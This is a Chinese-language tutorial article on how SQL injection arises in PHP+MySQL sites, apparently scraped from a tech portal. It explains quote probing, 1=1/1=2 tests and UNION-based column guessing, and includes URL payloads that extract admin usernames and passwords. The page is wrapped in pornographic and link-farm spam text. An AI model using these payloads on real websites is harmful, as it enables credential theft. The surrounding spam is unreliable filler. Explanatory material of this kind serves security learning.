成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

解析PHP+MYSQL注入的發(fā)生

安全 數(shù)據(jù)安全
本文主要解析了PHP+MYSQL注入的發(fā)生。

假設(shè)的目標(biāo)網(wǎng)站 http://www.2cto.com /info.php?articleid=123(實(shí)際不可注入)

當(dāng)articleid 變量取值為123 時(shí),我們假設(shè)一下在服務(wù)器中會(huì)有怎樣的代碼運(yùn)行?

1. SELECT * /* Select 函數(shù)讀取信息*/

2. FROM infotable /* 從products 數(shù)據(jù)表中*/

3. WHERE id='123';/* false condition 滿足條件時(shí)*/

/*XXXX*/是注釋符號(hào),當(dāng)程序運(yùn)行時(shí),/**/和中間的部分計(jì)算機(jī)會(huì)自動(dòng)忽略。

實(shí)際系統(tǒng)執(zhí)行的代碼是這樣的:

1. select * from infotable where id = '123';

在這里,id 的取值是通過(guò)url 取值得來(lái)的“123”,那么如果我這樣呢:

info.php?articleid=123'

后面多了一個(gè)單引號(hào),那么比較一下系統(tǒng)原本執(zhí)行的語(yǔ)句有什么變化:

1. select * from infotable where id = 123;

2. select * from infotable where id = 123';

***多了一個(gè)引號(hào),語(yǔ)法錯(cuò)誤。

注:計(jì)算機(jī)編程得不到想要的結(jié)果,錯(cuò)誤分兩種,一種是語(yǔ)法錯(cuò)誤,一種是邏輯錯(cuò)誤。后面認(rèn)真閱讀你會(huì)慢慢明白區(qū)別開(kāi)的,這也就是為什么判斷是否為注入點(diǎn)的***步要在網(wǎng)址后面加單引號(hào)的原因了(加單引號(hào)出錯(cuò)不能確定網(wǎng)址為注入點(diǎn),只是判斷的一個(gè)步驟而已),于是后面的1=1 和1=2 的目的也就清楚了。

1. select * from infotable where id = 123;

2. select * from infotable where id = 123 and 1 = 1;//事實(shí)上1 就是1,所以應(yīng)該

返回正常頁(yè)面

3. select * from infotable where id = 123 and 1 = 2;//事實(shí)上,計(jì)算機(jī)中1 永遠(yuǎn)也不等于2,發(fā)生邏輯錯(cuò)誤,所以返回錯(cuò)誤頁(yè)面。手工注入通常會(huì)使用聯(lián)合查詢函數(shù)union 下面講一下union 的用法。

union 注入的***步通常是猜字段數(shù)。假設(shè)注入點(diǎn)是新聞頁(yè)面,那么頁(yè)面中執(zhí)行的SQL 語(yǔ)句就是:

1. select title,date,author,news,comm from news where id = 12;

當(dāng)你進(jìn)行union 注入的時(shí)候,union 前面的語(yǔ)句和union 后面的語(yǔ)句,都是一個(gè)完整的SQL

語(yǔ)句,是可以單獨(dú)執(zhí)行的語(yǔ)句

但是,必須保證前后的字段數(shù)相同,例如上面這個(gè)語(yǔ)句

1. select title,date,author,news,comm from news where id = 12;

2. select title,date,author,news,comm from news where id = 12 union select

name,password,3,4,5 from admin;

3. //news 是新聞表段,admin 是管理員信息表段

4. //管理員信息表段明顯沒(méi)有union 前面news 表段里面包含的字段數(shù)多所以使用數(shù)字3 到5 替代,數(shù)字無(wú)固定格式,可以使1 2 和3,也可以是111111 和4435435或者干脆用null 空來(lái)代替。

所以,上面的注入語(yǔ)句在實(shí)際中就是這么構(gòu)造:

1. info.php?id=12+union+select+name,password,3,4,5+from+admin

2. //SQL 注入中,加號(hào)用來(lái)代表空格的意思,因?yàn)橛行g覽器會(huì)自動(dòng)將空格轉(zhuǎn)換成%20,

如果union 前面是5 個(gè),而union 后面不是5 個(gè),則會(huì)發(fā)生邏輯錯(cuò)誤,顯示錯(cuò)誤頁(yè)面。

由于程序員編寫(xiě)的程序我們并不知道他在數(shù)據(jù)庫(kù)中設(shè)置了幾個(gè)字段,所以通常我們都是先進(jìn)行字段數(shù)的猜測(cè),也就是:

1. info.php?id=12+union+select+1

2. info.php?id=12+union+select+1,2

3. info.php?id=12+union+select+1,2,3

4. info.php?id=12+union+select+1,2,3,4

5. info.php?id=12+union+select+1,2,3,4,5

6. //你也可以用order by 來(lái)猜,用法可以自己搜一下

一直這樣猜到正確頁(yè)面出來(lái),沒(méi)有了邏輯錯(cuò)誤,也就表示字段數(shù)一致了,然后……后面……

這里僅僅提供思路。

責(zé)任編輯:藍(lán)雨淚 來(lái)源: 紅黑聯(lián)盟
相關(guān)推薦

2010-06-02 15:24:15

PHP+MySQL

2010-06-04 15:57:03

PHP+MYSQL

2010-09-14 16:00:16

2011-05-23 09:51:30

MySQL

2010-05-28 15:24:52

PHP+MySQL

2010-05-19 14:54:33

2011-08-01 10:12:40

PHP

2012-06-14 13:20:44

MySQL網(wǎng)站架構(gòu)

2010-06-09 16:27:30

PHP+MySQL

2011-02-13 18:03:50

PHPMySQL

2013-12-09 09:57:37

2010-05-31 14:59:36

PHP + MySQL

2017-08-16 16:00:05

PHPcontainer依賴注入

2013-12-13 10:45:26

2009-10-14 09:57:51

pinyshop

2015-02-04 14:50:29

2011-06-16 17:05:54

CSS

2011-02-22 14:10:25

PHPXML

2009-11-30 16:24:24

PHP腳本

2009-12-03 18:23:23

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: www.色综合 | 国产精品一区二区不卡 | 国产免费视频在线 | 97超级碰碰| 国产毛片av | 国产日产欧产精品精品推荐蛮挑 | 99色视频 | 国产伊人精品 | 欧美一区二区在线免费观看 | 国产aⅴ精品 | 国产午夜影院 | 亚洲视频在线播放 | 二区av| 午夜免费在线 | 日韩成人国产 | 欧美日韩在线综合 | 男人的天堂久久 | 国产在线二区 | 福利视频三区 | 亚洲日韩中文字幕一区 | 国产乱码精品一品二品 | 亚洲一区二区三区四区五区中文 | 色黄网站| 日韩国产精品一区二区三区 | 亚洲 欧美 另类 综合 偷拍 | 国产aⅴ爽av久久久久久久 | 久久久久久黄 | 一区二区三区四区在线播放 | 看片wwwwwwwwwww| 国产又色又爽又黄又免费 | 亚洲欧美一区二区三区在线 | 国产精品久久久久久久久久 | 毛片视频网站 | 色网在线观看 | 美女在线视频一区二区三区 | 亚洲午夜精品一区二区三区他趣 | 日韩精品成人免费观看视频 | 天天射色综合 | 国产欧美在线视频 | 亚洲天堂av网 | 日韩在线免费观看视频 |